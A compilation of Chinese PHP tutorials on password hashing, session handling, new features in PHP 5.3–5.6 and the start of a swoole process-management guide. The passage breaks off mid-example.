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  原文来自： https://jellybool.com/post/php-password-hash-in-the-right-way




在使用PHP开发Web应用的中，很多的应用都会要求用户注册，而注册的时候就需要我们对用户的信息进行处理了，最常见的莫过于就是邮箱和密码了，本文意在讨论对密码的处理：也就是对密码的加密处理。


MD5


相信很多PHP开发者在最先接触PHP的时候，处理密码的首选加密函数可能就是MD5了，我当时就是这样的：


$password = md5($_POST["password"]);




上面这段代码是不是很熟悉？然而MD5的加密方式目前在PHP的江湖中貌似不太受欢迎了，因为它的加密算法实在是显得有点简单了，而且很多破解密码的站点都存放了很多经过MD5加密的密码字符串，所以这里我是非常不提倡还在单单使用MD5来加密用户的密码的。


SHA256 和 SHA512


其实跟前面的MD5同期的还有一个SHA1加密方式的，不过也是算法比较简单，所以这里就一笔带过吧。而这里即将要说到的SHA256 和 SHA512都是来自于SHA2家族的加密函数，看名字可能你就猜的出来了，这两个加密方式分别生成256和512比特长度的hash字串。


他们的使用方法如下：


<?php
$password = hash("sha256", $password);




PHP内置了hash()函数，你只需要将加密方式传给hash()函数就好了。你可以直接指明sha256, sha512, md5, sha1等加密方式。


盐值


在加密的过程，我们还有一个非常常见的小伙伴：盐值。对，我们在加密的时候其实会给加密的字符串添加一个额外的字符串，以达到提高一定安全的目的：


<?php

function generateHashWithSalt($password) {
    $intermediateSalt = md5(uniqid(rand(), true));
    $salt = substr($intermediateSalt, 0, 6);
    return hash("sha256", $password . $salt);
}




Bcrypt


如果让我来建议一种加密方式的话，Bcrypt可能是我给你推荐的最低要求了，因为我会强烈推荐你后面会说到的Hashing API，不过Bcrypt也不失为一种比较不错的加密方式了。


<?php
function generateHash($password) {
    if (defined("CRYPT_BLOWFISH") && CRYPT_BLOWFISH) {
        $salt = '$2y$11$' . substr(md5(uniqid(rand(), true)), 0, 22);
        return crypt($password, $salt);
    }
}




Bcrypt 其实就是Blowfish和crypt()函数的结合，我们这里通过CRYPT_BLOWFISH判断Blowfish是否可用，然后像上面一样生成一个盐值，不过这里需要注意的是，crypt()的盐值必须以$2a$或者$2y$开头，详细资料可以参考下面的链接：


http://www.php.net/security/crypt_blowfish.php


更多资料可以看这里：


http://php.net/manual/en/function.crypt.php


Password Hashing API


这里才是我们的重头戏，Password Hashing API是PHP 5.5之后才有的新特性，它主要是提供下面几个函数供我们使用：


password_hash() – 对密码加密.
password_verify() – 验证已经加密的密码，检验其hash字串是否一致.
password_needs_rehash() – 给密码重新加密.
password_get_info() – 返回加密算法的名称和一些相关信息.




虽然说crypt()函数在使用上已足够，但是password_hash()不仅可以使我们的代码更加简短，而且还在安全方面给了我们更好的保障，所以，现在PHP的官方都是推荐这种方式来加密用户的密码，很多流行的框架比如Laravel就是用的这种加密方式。


<?php
$hash = password_hash($passwod, PASSWORD_DEFAULT);




对，就是这么简单，一行代码，All done。


PASSWORD_DEFAULT目前使用的就是Bcrypt，所以在上面我会说推荐这个，不过因为Password Hashing API做得更好了，我必须郑重地想你推荐Password Hashing API。这里需要注意的是，如果你代码使用的都是PASSWORD_DEFAULT加密方式，那么在数据库的表中，password字段就得设置超过60个字符长度，你也可以使用PASSWORD_BCRYPT，这个时候，加密后字串总是60个字符长度。


这里使用password_hash()你完全可以不提供盐值(salt)和 消耗值 (cost)，你可以将后者理解为一种性能的消耗值，cost越大，加密算法越复杂，消耗的内存也就越大。当然，如果你需要指定对应的盐值和消耗值，你可以这样写：


<?php
$options = [
    'salt' => custom_function_for_salt(), //write your own code to generate a suitable salt
    'cost' => 12 // the default cost is 10
];
$hash = password_hash($password, PASSWORD_DEFAULT, $options);




密码加密过后，我们需要对密码进行验证，以此来判断用户输入的密码是否正确：


<?php
if (password_verify($password, $hash)) {
    // Pass
}
else {
    // Invalid
}




很简单的吧，直接使用password_verify就可以对我们之前加密过的字符串（存在数据库中）进行验证了。


然而，如果有时候我们需要更改我们的加密方式，如某一天我们突然想更换一下盐值或者提高一下消耗值，我们这时候就要使用到password_needs_rehash()函数了：


<?php
if (password_needs_rehash($hash, PASSWORD_DEFAULT, ['cost' => 12])) {
    // cost change to 12
    $hash = password_hash($password, PASSWORD_DEFAULT, ['cost' => 12]);

    // don't forget to store the new hash!
}




只有这样，PHP的Password Hashing API才会知道我们重现更换了加密方式，这样的主要目的就是为了后面的密码验证。


简单地说一下password_get_info()，这个函数一般可以看到下面三个信息：


algo – 算法实例
algoName – 算法名字
options – 加密时候的可选参数




所以，现在就开始用PHP 5.5吧，别再纠结低版本了。


Happy Hacking
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什么是 Session


在 web 应用开发中，Session 被称为会话。主要被用于保存某个访问者的数据。

由于 HTTP 无状态的特点，服务端是不会记住客户端的，对服务端来说，每一个请求都是全新的。

既然如此，那么服务端怎么知道是哪个访问者在请求它呢？又如何将不同的数据对应上正确的访问者？答案是，给访问者一个唯一获取 Session 中数据的身份标示。


打个比方：当我们去超市购物时，被保安告之我们是不能带物品进去的，必须将物品寄放在超市的储物箱中。我们把物品交给了他，他怎么知道这些物品谁是谁的，于是他给了我们不同的钥匙。当我们要取走我们的物品时，用唯一的钥匙打开对应的箱子即可。


就如同上面的比方一样，可以将 Session 理解为存放我们数据的“箱子”，当然，这些“箱子”都在服务端那。服务器给访问者唯一的“钥匙”，这个“钥匙”被称作 session_id。访问者凭借自己的 session_id，就能获取到自己存在服务器端的数据。


session_id 通过两种方式传给访问者（客户端）：URL 或 cookie。详情参见：传送会话ID


Session 和 Cookie 有什么关系


Cookie 也是由于 HTTP 无状态的特点而产生的技术。也被用于保存访问者的身份标示和一些数据。每次客户端发起 HTTP 请求时，会将 Cookie 数据加到 HTTP header 中，提交给服务端。这样服务端就可以根据 Cookie 的内容知道访问者的信息了。

可以说，Session 和 Cookie 做着相似的事情，只是 Session 是将数据保存在服务端，通过客户端提交来的 session_id 来获取对应的数据；而 Cookie 是将数据保存在客户端，每次发起请求时将数据提交给服务端的。


上面提到，session_id 可以通过 URL 或 cookie 来传递，由于 URL 的方式比 cookie 的方式更加不安全且使用不方便，所以一般是采用 cookie 来传递 session_id。

服务端生成 session_id，通过 HTTP 报文发送给客户端（比如浏览器），客户端收到后按指示创建保存着 session_id 的 cookie。cookie 是以 key/value 形式保存的，看上去大概就这个样子的：PHPSESSID=e4tqo2ajfbqqia9prm8t83b1f2。在 PHP 中，保存 session_id 的 cookie 名称默认叫作 PHPSESSID，这个名称可以通过 php.ini 中 session.name 来修改，也可以通过函数 session_name() 来修改。


为什么不推荐使用 PHP 自带的 files 型 Session 处理器


在 PHP 中，默认的 Session 处理器是 files，处理器可以用户自己实现（参见：自定义会话管理器）。我知道的成熟的 Session 处理器还有很多：Redis、Memcached、MongoDB……

为什么不推荐使用 PHP 自带的 files 类型处理器，PHP 官方手册中给出过这样一段 Note：



  无论是通过调用函数 session_start() 手动开启会话， 还是使用配置项 session.auto_start 自动开启会话， 对于基于文件的会话数据保存（PHP 的默认行为）而言， 在会话开始的时候都会给会话数据文件加锁， 直到 PHP 脚本执行完毕或者显式调用 session_write_close() 来保存会话数据。 在此期间，其他脚本不可以访问同一个会话数据文件。




上述引用参见：Session 的基本用法


为了证明这段话，我们创建一下 2 个文件：

文件：session1.php


php<?php
session_start();

sleep(5);

var_dump($_SESSION);
?>



文件：session2.php


php<?php
session_start();

var_dump($_SESSION);
?>



在同一个浏览器中，先访问 http://127.0.0.1/session1.php，然后在当前浏览器新的标签页立刻访问 http://127.0.0.1/session2.php。实验发现，session1.php 等了 5 秒钟才有输出，而 session2.php 也等到了将近 5 秒才有输出。而单独访问 session2.php 是秒开的。在一个浏览器中访问 session1.php，然后立刻在另外一个浏览器中访问 session2.php。结果是 session1.php 等待 5 秒钟有输出，而 session2.php 是秒开的。


分析一下造成这个现象的原因：上面例子中，默认使用 Cookie 来传递 session_id，而且 Cookie 的作用域是相同。这样，在同一个浏览器中访问这 2 个地址，提交给服务器的 session_id 就是相同的（这样才能标记访问者，这是我们期望的效果）。当访问 session1.php 时，PHP 根据提交的 session_id，在服务器保存 Session 文件的路径（默认为 /tmp，通过 php.ini 中的 session.save_path 或者函数 session_save_path() 来修改）中找到了对应的 Session 文件，并对其加锁。如果不显式调用 session_write_close()，那么直到当前 PHP 脚本执行完毕才会释放文件锁。如果在脚本中有比较耗时的操作（比如例子中的 sleep(5)），那么另一个持有相同 session_id 的请求由于文件被锁，所以只能被迫等待，于是就发生了请求阻塞的情况。


既然如此，在使用完 Session 后，立刻显示调用 session_write_close() 是不是就解决问题了哩？比如上面例子中，在 sleep(5) 前面调用 session_write_close()。

确实，这样 session2.php 就不会被 session1.php 所阻塞。但是，显示调用了  session_write_close() 就意味着将数据写到文件中并结束当前会话。那么，在后面代码中要使用 Session 时，必须重新调用 session_start()。


例如：


php<?php
session_start();
$_SESSION['name'] = 'Jing';
var_dump($_SESSION);
session_write_close();

sleep(5);

session_start();
$_SESSION['name'] = 'Mr.Jing';
var_dump($_SESSION);
?>



官方给出的方案：



  对于大量使用 Ajax 或者并发请求的网站而言，这可能是一个严重的问题。 解决这个问题最简单的做法是如果修改了会话中的变量， 那么应该尽快调用 session_write_close() 来保存会话数据并释放文件锁。 还有一种选择就是使用支持并发操作的会话保存管理器来替代文件会话保存管理器。




我推荐的方式是使用 Redis 作为 Session 的处理器。


拓展阅读：


为什么不能用 memcached 存储 Session


如何使用 Redis 作为 PHP Session handler


Session 数据是什么时候被删除的


这是一道经常被面试官问起的问题。


先看看官方手册中的说明：



  session.gc_maxlifetime 指定过了多少秒之后数据就会被视为"垃圾"并被清除。 垃圾搜集可能会在 session 启动的时候开始（ 取决于 session.gc_probability 和 session.gc_divisor）。 session.gc_probability 与 session.gc_divisor 合起来用来管理 gc（garbage collection 垃圾回收）进程启动的概率。此概率用 gc_probability/gc_divisor 计算得来。例如 1/100 意味着在每个请求中有 1% 的概率启动 gc 进程。session.gc_probability 默认为 1，session.gc_divisor 默认为 100。




继续用我上面那个不太恰当的比方吧：如果我们把物品放在超市的储物箱中而不取走，过了很久（比如一个月），那么保安就要清理这些储物箱中的物品了。当然并不是超过期限了保安就一定会来清理，也许他懒，又或者他压根就没有想起来这件事情。


再看看两段手册的引用：



  如果使用默认的基于文件的会话处理器，则文件系统必须保持跟踪访问时间（atime）。Windows FAT 文件系统不行，因此如果必须使用 FAT 文件系统或者其他不能跟踪 atime 的文件系统，那就不得不想别的办法来处理会话数据的垃圾回收。自 PHP 4.2.3 起用 mtime（修改时间）来代替了 atime。因此对于不能跟踪 atime 的文件系统也没问题了。





  GC 的运行时机并不是精准的，带有一定的或然性，所以这个设置项并不能确保旧的会话数据被删除。某些会话存储处理模块不使用此设置项。




对于这种删除机制，我是存疑的。


比如 gc_probability/gc_divisor 设置得比较大，或者网站的请求量比较大，那么 GC 进程启动就会比较频繁。

还有，GC 进程启动后都需要遍历 Session 文件列表，对比文件的修改时间和服务端的当前时间，判断文件是否过期而决定是否删除文件。

这也是我觉得不应该使用 PHP 自带的 files 型 Session 处理器的原因。而 Redis 或 Memcached 天生就支持 key/value 过期机制的，用于作为会话处理器很合适。或者自己实现一个基于文件的处理器，当根据 session_id 获取对应的单个 Session 文件时判断文件是否过期。


为什么重启浏览器后 Session 数据就取不到了



  session.cookie_lifetime 以秒数指定了发送到浏览器的 cookie 的生命周期。值为 0 表示"直到关闭浏览器"。默认为 0。




其实，并不是 Session 数据被删除（也有可能是，概率比较小，参见上一节）。只是关闭浏览器时，保存 session_id 的 Cookie 没有了。也就是你弄丢了打开超市储物箱的钥匙（session_id）。


同理，浏览器 Cookie 被手动清除或者其他软件清除也会造成这个结果。


为什么浏览器开着，我很久没有操作就被登出了


这个是称为“防呆”，为了保护用户账户安全的。


这个小节放进来，是因为这个功能的实现可能和 Session 的删除机制有关（之所以说是可能，是因为这个功能不一定要借住 Session 实现，用 Cookie 也同样可以实现）。

说简单一点，就是长时间没有操作，服务端的 Session 文件过期被删除了。


一个有意思的事情


在我试验的过程中，发现了小有意思的事情：我把 GC 启动的概率设置为 100%。如果只有一个访问者请求，该访问者即使过了很久（超过了过期时间）后才发起第二次请求，那么 Session 数据也还是存在的（'session.save_path' 目录下面的 Session 文件存在）。是的，明明就超过了过期时间，却没有被 GC 删除。这时，我用另外一个浏览器访问时（相对于另一个访问者），这次请求生成了新的 Session 文件，而上一个浏览器请求生成的那个 Session 文件终于没有了（之前那个 Session 文件在 'session.save_path' 目录下面的消失了）。


还有，发现 Session 文件被删除后，再次请求，还是会生成和之前文件名相同的 Session 文件（因为浏览器并没有关闭，再次请求发送的 session_id 是相同的，所以重新生成的 Session 文件的文件名还是一样的）。但是，我不理解的是：这个重新出现的文件的创建时间竟然是第一次的那个创建时间，难道它是从回收站中回来的？（确实，我做这个试验时是在 window 下进行的）


我猜测的原因是这样：当启动会话后，PHP 根据 session_id 找到并打开了对应的 Session 文件，然后才启动 GC 进程。GC 进程就只检查除了当前这个 Session 文件外的其他文件，发现过期的就干掉。所有，即使当前这个 Session 文件已经过期了，GC 也没有删除它。


我认为这个不合理的。


由于发生这种情况影响也不大（毕竟线上请求很多，当前请求的过期文件被其他请求唤起的 GC 干掉的可能性是比较大的） + 我没有信心去看 PHP 源代码 + 我并不在线上使用 PHP 自带的 files 型 Session 处理器。所以，这个问题我就没有深入研究了。请谅解。


php<?php
// 过期时间设置为 30 秒
ini_set('session.gc_maxlifetime', '30');

// GC 启动概率设置为 100%
ini_set('session.gc_probability', '100');
ini_set('session.gc_divisor', '100');

session_start();
$_SESSION['name'] = 'Jing';

var_dump($_SESSION);
?>




拓展阅读：


如何设置一个严格 30 分钟过期的 Session


 PHP 5.3、5.4、5.5、5.6 中的新特性

作者：wdd2007

来源： PHP 5.3、5.4、5.5、5.6 中的新特性



                    
PHP 5.6


1、可以使用表达式定义常量


https://php.net/manual/zh/migration56.new-features.php


在之前的 PHP 版本中，必须使用静态值来定义常量，声明属性以及指定函数参数默认值。 现在你可以使用包括数值、字符串字面量以及其他常量在内的数值表达式来 定义常量、声明属性以及设置函数参数默认值。


<?php
const ONE = 1;
const TWO = ONE * 2;    //定义常量时允许使用之前定义的常量进行计算

class C {
    const THREE = TWO + 1;
    const ONE_THIRD = ONE / self::THREE;
    const SENTENCE = 'The value of THREE is '.self::THREE;

    public function f($a = ONE + self::THREE) { //允许常量作为函数参数默认值
        return $a;
    }
}

echo (new C)->f()."\n";
echo C::SENTENCE;
?>



可以通过 const 关键字来定义类型为 array 的常量。


<?php
const ARR = ['a', 'b'];
echo ARR[0];
?>



2、使用 ... 运算符定义变长参数函数


现在可以不依赖 func_get_args()， 使用 ... 运算符 来实现 变长参数函数。


<?php
function test(...$args)
{
    print_r($args);
}

test(1,2,3);
//输出
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
)
?>



3、使用 ** 进行幂运算


加入右连接运算符 ** 来进行幂运算。 同时还支持简写的 **= 运算符，表示进行幂运算并赋值。


printf(2 ** 3); // 8

$a = 2;
$a **= 3;
printf($a);  // 8



4、use function 以及 use const


use 运算符可以在类中导入外部的函数和常量了。 对应的结构为 use function 和 use const。


<?php
namespace Name\Space {
    const FOO = 42;
    function f() { echo __FUNCTION__."\n"; }
}

namespace {
    use const Name\Space\FOO;
    use function Name\Space\f;

    echo FOO."\n";
    f();
}
?>



5、加入 hash_equals() 函数，以恒定的时间消耗来进行字符串比较，以避免时序攻击


<?php
$expected  = crypt('12345', '$2a$07$usesomesillystringforsalt$');
$incorrect = crypt('1234',  '$2a$07$usesomesillystringforsalt$');

var_dump(hash_equals($expected, $incorrect)); // false
?>



6、加入 __debugInfo()


当使用 var_dump() 输出对象的时候，可以用来控制要输出的属性和值。返回值必须是个数组。


<?php
class C {
    private $prop;

    public function __construct($val) {
        $this->prop = $val;
    }

    public function __debugInfo() {
        return array(
                "prop" => $this->prop
            );
    }
}

var_dump(new C(42));
?>



PHP 5.5


1、新增 Generators


yield关键字用于当函数需要返回一个迭代器的时候，逐个返回值。


function number10()
{
    for($i = 1; $i <= 10; $i += 1)
        yield $i;
}



该函数的返回值是一个数组：


[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]



2、新增 finally 关键字


Finally处理流程:





3、foreach 支持 list()


foreach 支持通过 list() 将嵌套数组分离到单独的变量。


<?php
$array = [
    [1, 2],
    [3, 4],
];

foreach ($array as list($a, $b)) {
    echo $a.$b\n";
}
?>



4、empty() 支持传入一个任意表达式，而不仅是一个变量


<?php
function always_false() {
    return false;
}

if (empty(always_false())) {
    echo 'This will be printed.';
}



5、直接通过下标获取访问数组和字符串字面量的元素或字符


```
echo [1, 2, 3][0]; // 1
echo 'PHP'[0]; // P
```



6、新的密码哈希 API


https://php.net/manual/zh/book.password.php


缺点是缺乏互操作性，在需要和其他语言对接时会比较麻烦。


//加密
echo $hash = password_hash('rasmuslerdorf', PASSWORD_DEFAULT);
//输出结果类似于：$2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a

//验证
if(password_verify('rasmuslerdorf','$2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a')) { 
    echo "密码正确";
} else {  
    echo "密码错误";
}



7、新增 boolval() 函数


PHP已经实现了strval、intval和floatval的函数。为了达到一致性将添加boolval函数。


8、新增 array_column() 函数


可用来返回数组中指定的一列。


$records = array(
    array('id' => 2135,'name' => 'John'),
    array('id' => 3245,'name' => 'Smith'),
    array('id' => 5342,'name' => 'Peter')
);

//从结果集中取出 name 列
$names = array_column($records, 'name');
print_r($names);

//从结果集中总取出 name 列，用相应的 id 作为键值
$names = array_column($records, 'name', 'id');
print_r($names);



PHP 5.4


1、新增 Traits


https://php.net/manual/zh/language.oop5.traits.php


// Traits不能被单独实例化，只能被类所包含
trait SayWorld
{
    public function sayHello()
    {
        echo 'World!';
    }
}

class MyHelloWorld
{
    // 将SayWorld中的成员包含进来
    use SayWorld;
}

$xxoo = new MyHelloWorld();
// sayHello() 函数是来自 SayWorld 构件的
$xxoo->sayHello();



2、新增短数组语法


// 原来的数组写法
$arr = array("key" => "value", "key2" => "value2");
$arr = array(1,2,3,4);
// 简写形式
$arr = ["key" => "value", "key2" => "value2"];
$arr = [1,2,3,4];



3、新增支持对函数返回数组的成员访问解析


print func()[0];



4、无论 php.ini 中是否设置 short_open_tag， 格式总是可用。


这种简写形式被称为 Short Open Tag, 在 PHP5.3 起被默认开启，在 PHP5.4 起总是可用。 使用这种简写形式在 HTML 中嵌入 PHP 变量将会非常方便。


5、内置用于开发的 CLI 模式的 web server


//启动Web服务器
php -S localhost:8000
//启动时指定根目录
php -S localhost:8000 -t /home/me/public_html/foo
//使用路由（Router）脚本
php -S localhost:8000 index.php //所有的请求都会由index.php来处理。



6、新增在实例化时访问类成员


 (new Foo)->bar();



7、新增了动态访问静态方法的方式


$func = "funcXXOO";
A::{$func}();



8、闭包支持 $this


9、新增二进制直接量


$bin = bindec('110011'); //之前需要这样写
$bin = 0b110011;
echo $bin; //51



10、session提供了上传进度支持


通过 $_SESSION["upload_progress_name"] 就可以获得当前文件上传的进度信息，结合 Ajax 就能很容易的实现上传进度条。


11、默认使用 mysqlnd


现在mysql, mysqli, pdo_mysql默认使用mysqlnd本地库，在PHP5.4以前需要：./configure --with-mysqli=mysqlnd

现在：./configure --with-mysqli


12、让 json 更懂中文


echo json_encode("中文", JSON_UNESCAPED_UNICODE);  
//"中文" 



13、default_charset从ISO-8859-1已经变为UTF-8


默认发送“Content-Type: text/html; charset=utf-8”


PHP 5.3


1、支持命名空间


https://php.net/manual/zh/language.namespaces.php


<?php
namespace my\name; // 定义命名空间

class MyClass {}
const MYCONST = 1;

$a = new \my\name\MyClass;
$class = __NAMESPACE__.'\MyClass';
$b = new $class;

$c = \my\name\MYCONST;
$d = namespace\MYCONST;

var_dump($a,$b,$c,$d);
/*
object(my\name\MyClass)#1 (0) {
}
object(my\name\MyClass)#2 (0) {
}
int(1)
int(1)
*/
?>



2、增加后期静态绑定


https://php.net/manual/zh/language.oop5.late-static-bindings.php


在PHP中，我们可以在类中通过self关键字或者CLASS来判断或调用当前类。但有一个问题，如果我们是在子类中调用，得到的结果将是父类。因为在继承父类的时候，静态成员就已经被绑定了。


class A
{
    static public function callFuncXXOO()
    {
        print self::funcXXOO();
    }

    static public function funcXXOO()
    {
        return "A::funcXXOO()";
    }
}

class B extends A
{
    static public function funcXXOO()
    {
        return "B::funcXXOO";
    }
}

$b = new B;
$b->callFuncXXOO();



输出是：


A::funcXXOO()



PHP 5.3.0中增加了一个static关键字来引用当前类，即实现了延迟静态绑定：


class A
{
    static public function callFuncXXOO()
    {
        print static::funcXXOO();
    }

    // ...
}

// ...



这样就会像预期一样输出了：


B::funcXXOO



3、增加 goto 操作符


https://php.net/manual/zh/control-structures.goto.php


goto 语句有可能会导致程序流程不清晰，可读性减弱，但在某些情况下具有其独特的方便之处，例如中断深度嵌套的循环和 if 语句。


<?php
goto test;
echo '1';
 
test:
echo '2';
?>

//以上运行时会输出 2



4、添加了原生的闭包(Lambda/匿名函数)支持


https://php.net/manual/zh/functions.anonymous.php


5、新增两个魔术方法, __callStatic 和 __invoke


https://php.net/manual/zh/language.oop5.magic.php


用静态方式中调用一个不可访问方法时，__callStatic() 会被调用。

当尝试以调用函数的方式调用一个对象时，__invoke() 方法会被自动调用。


class A
{
    public function __invoke($str)
    {
        print "A::__invoke(): {$str}";
    }
}

$a = new A;
$a("Hello World");



输出是：


A::__invoke(): Hello World



6、添加 Nowdoc 语法支持


https://php.net/manual/zh/language.types.string.php#language.types.str...


<?php
$str = <<<'EOD'
Example of string
spanning multiple lines
using nowdoc syntax.
EOD;



就象 heredoc 结构类似于双引号字符串，Nowdoc 结构是类似于单引号字符串的。Nowdoc 结构很象 heredoc 结构，但是 nowdoc 中不进行解析操作。


7、Heredoc 结构中可以用双引号来声明标识符了。


https://php.net/manual/zh/language.types.string.php#language.types.str...


<?php
echo <<<"FOOBAR"
Hello World!
FOOBAR;
?>



8、const 关键字可用来在类定义之外定义常量了


https://php.net/manual/zh/language.constants.syntax.php


<?php
define("CONSTANT_A", "Hello world");
const CONSTANT_B = 'Hello World';



const 形式仅适用于常量，不适用于运行时才能求值的表达式：


// 正确
const XXOO = 1234;
// 错误
const XXOO = 2 * 617;



和使用 define() 来定义常量不同的是，使用 const 关键字定义常量必须处于最顶端的作用域，因为用此方法是在编译时定义的。即不能在函数内，循环内以及 if 语句之内用 const 来定义常量。


9、三元运算符可以简写省略中间的部分


表达式 expr1 ?: expr3 ，当 expr1 为 TRUE 时返回 expr1，否则返回 expr3。


10、异常可以嵌套了


<?php

class MyException extends Exception { }

class Test {
    public function testing() {
        try {
            try {
                throw new MyException('foo!');
            } catch (MyException $e) {
                /* rethrow it */
                throw $e;
            }
        } catch (Exception $e) {
            var_dump($e->getMessage());
        }
    }
}

$foo = new Test;
$foo->testing();
?>



11、可以动态访问静态变量了


<?php
class C {
   public static $foo = 123;
}

$a = "C";
echo $a::$foo;
?>



上边运行时输出：


123



12、mail()函数支持记录发送日志了


在配置文件 php.ini 中可设置日志路径。参数名：mail.log


参考资料


1、https://php.net/manual/zh/migration53.new-features.php

2、https://php.net/manual/zh/migration54.new-features.php

3、https://php.net/manual/zh/migration55.new-features.php

4、https://php.net/manual/zh/migration56.new-features.php

5、http://segmentfault.com/a/1190000000403307

6、http://blog.csdn.net/heiyeshuwu/article/details/16884725


 swoole教程第一节:进程管理模块(Process)-上

作者：sunwenzheng

来源： swoole教程第一节:进程管理模块(Process)-上



                    
进程管理模块




介绍看这里  swoole的process

大家可以先看看自己的swoole版本，在命令行里面敲



  php --ri swoole




更多的php命令行使用，大家学习 php命令行参数

ok 我们直奔主题
怎么用


多进程的创建


不多说，直接上代码


<?php
$worker_num =2;//创建的进程数
for($i=0;$i<$worker_num ; $i++){
    $process = new swoole_process('callback_function_we_write');
    $pid = $process->start();
    echo PHP_EOL . $pid;//
}
function callback_function_we_write(swoole_process $worker){
    echo  PHP_EOL;
    var_dump($worker);
    echo  PHP_EOL;
}




运行结果如下


5445
object(swoole_process)#1 (3) {
  ["pipe"]=>
  int(3)
  ["callback"]=>
  string(26) "callback_function_we_write"
  ["pid"]=>
  int(5445)
}


5446
object(swoole_process)#2 (3) {
  ["pipe"]=>
  int(5)
  ["callback"]=>
  string(26) "callback_function_we_write"
  ["pid"]=>
  int(5446)
}




可以看到，我们使用 new swoole_process 创建进程，这里需要一个参数，也就是回调函数

当我们使用 $process->start()执行后，返回这个进程的pid ，也就是 $pid.

此时子进程启动，调用回调函数，并传一个参数 也就是 swoole_process 类型的 $worker

我故意输出了 $worker 看看里面有什么，结果有三个属性



  pipe  进程的管道id  这个等说道进程间通信的时候再聊

  pid   就是当前子进程的 pid 啦

  callback   这个是我们自己写的回调函数名




到这里，我们就可以用多进程玩耍了，

比如，我们可以测试多进程的运行速度


<?php
echo PHP_EOL . time() ;
$worker_num =3;//创建的进程数
for($i=0;$i<$worker_num ; $i++){
    $process = new swoole_process('callback_function_we_write');
    $pid = $process->start();
}

function callback_function_we_write(swoole_process $worker){
    for($i=0;$i<100000000;$i++){}
    echo PHP_EOL . time() ; 
}



我本机运行结果



  1435563435  // 开始时间

  1435563438  //进程1 结束时间

  1435563440  //进程2 结束时间

  1435563440  //进程3 结束时间




算三次 用了5s （其实一般是4s）


再玩一次


<?php
echo PHP_EOL . time() ;
for($i=0;$i<100000000;$i++){}
for($i=0;$i<100000000;$i++){}
for($i=0;$i<100000000;$i++){}
echo PHP_EOL . time() ;



我本机运行结果



  1435563704

  1435563712




这次用了8s


做了这些，我想说明一个问题



  并不是说 单进程 要花8s 做完的活，我们用3个进程就能将时间缩小三倍了




嘛，因为这是我以前的误区


多进程还可以这样玩


<?php
$funcMap=array('methodOne' , 'methodTwo' ,'methodThree' );
$worker_num =3;//创建的进程数

for($i=0;$i<$worker_num ; $i++){
    $process = new swoole_process($funcMap[$i]);
    $pid = $process->start();
    sleep(2);
}

 while(1){
            $ret = swoole_process::wait();
            if ($ret){// $ret 是个数组 code是进程退出状态码，
                $pid = $ret['pid'];
                echo PHP_EOL."Worker Exit, PID=" . $pid . PHP_EOL;
            }else{
                break;
            }
}

function methodOne(swoole_process $worker){// 第一个处理
    echo $worker->callback .PHP_EOL;
}

function methodTwo(swoole_process $worker){// 第二个处理
    echo $worker->callback .PHP_EOL;
}

function methodThree(swoole_process $worker){// 第三个处理
    echo $worker->callback .PHP_EOL;
}



我多加的sleep是为了运行时看得更清楚，你也可以去掉

这里我使用了  swoole_process::wait() 详解

目的是当子进程结束后，主进程能够知道。


我们来想一个情景

过节了，妈妈要做饭，一看厨房里缺了 油，盐，糖，味精，十三香。于是吩咐儿子去小卖部买点回来。厨房这边也不能闲着，老妈要继续洗菜，切菜。等到调料买回来了，菜也洗好，切好了，开始炒，这边炒好了一个菜，就要立刻送到餐桌上。


这个情景里面，显然使用了多进程，并且各进程做的不是同样的事情。当子进程都完成了，主进程开始继续业务。


现在有了一个问题，就拿上面的情景来说，儿子去买调味料，如果发现盐没有了，或者钱不够了怎么办，如何与妈妈联系呢？ 这就是下面要说的  进程间的通信


进程间的通信


Process 的通信方式有两种



  管道

  swoole_process->write(string $data);

  swoole_process->read(int $buffer_size=8192);

  
  消息队列

  swoole_process->useQueue();

  swoole_process->push(string $data);

  swoole_process->pop(int $maxsize = 8192);




我们先说说管道


管道通讯


这里我们要再次的提及进程的创建 new swoole_process

大家请看这里 进程的创建

第一个参数是回调函数，不说了

第二个参数含义等会我会结合例子来说

第三个参数是默认的 true，意思是创建管道，大家还记得回调函数里我特意将$worker输出看到的内容吗？


object(swoole_process)#1 (3) {
  ["pipe"]=>
  int(3)
  ["callback"]=>
  string(26) "callback_function_we_write"
  ["pid"]=>
  int(5445)
}



关键是这里的 pipe  这个就是本进程的管道id

我们可以这样理解



  每次创建一个进程后，就会随之创建一个管道，主进程想和哪一个进程通信，就向那个进程的管道写入/读取数据。




ok，我们看看代码


<?php
$redirect_stdout = false;// 重定向输出  ; 这个参数用途等会我们看效果
$worker_num = 2;//进程数量
$workers = [];//存放进程用的
for($i = 0; $i < $worker_num; $i++){
    $process = new swoole_process('workerFunc',$redirect_stdout );
    $pid = $process->start();
    $workers[$pid] = $process;//将每一个进程的句柄存起来
}
// 这里是主进程哦。
foreach($workers as $pid => $process){// $process 是子进程的句柄
    $process->write("hello worker[$pid]\n");//子进程句柄向自己管道里写内容                  $process->write($data);
    echo "From Worker: ".$process->read();//子进程句柄从自己的管道里面读取信息    $process->read();
    echo PHP_EOL.PHP_EOL;
 }

function workerFunc(swoole_process $worker){//这里是子进程哦
    $recv = $worker->read();
    echo PHP_EOL. "From Master: $recv\n";
    //send data to master
    $worker->write("hello master , this pipe  is ". $worker->pipe .";  this  pid  is ".$worker->pid."\n");
    sleep(2);
    $worker->exit(0);
}



贴上运行结果


From Master: hello worker[8205]

From Worker: hello master , this pipe  is 3;  this  pid  is 8205



From Master: hello worker[8206]

From Worker: hello master , this pipe  is 5;  this  pid  is 8206



喔，通讯是这样的。

首先 将所有的子进程的句柄都存到 主进程的一个数组里，数组下标就是pid。

当主进程想和哪个进程通讯，就使用那个句柄向对应管道里面 写/读 数据，这样就实现了进程间的通讯。


接着，我们稍微改一下，看看运行效果


$redirect_stdout = true;// 重定向输出  注意 这次我改成 true 了，其他没变
$worker_num = 2;//进程数量
$workers = [];//存放进程用的
for($i = 0; $i < $worker_num; $i++){
    $process = new swoole_process('workerFunc',$redirect_stdout );
    $pid = $process->start();
    $workers[$pid] = $process;//将每一个进程的句柄存起来
}

// 这里是主进程哦。
foreach($workers as $pid => $process){// $process 是子进程的句柄
    $process->write("hello worker[$pid]\n");//子进程句柄向自己管道里写内容                $process->write($data);
    echo "From Worker: ".$process->read();//子进程句柄从自己的管道里面读取信息    $process->read();
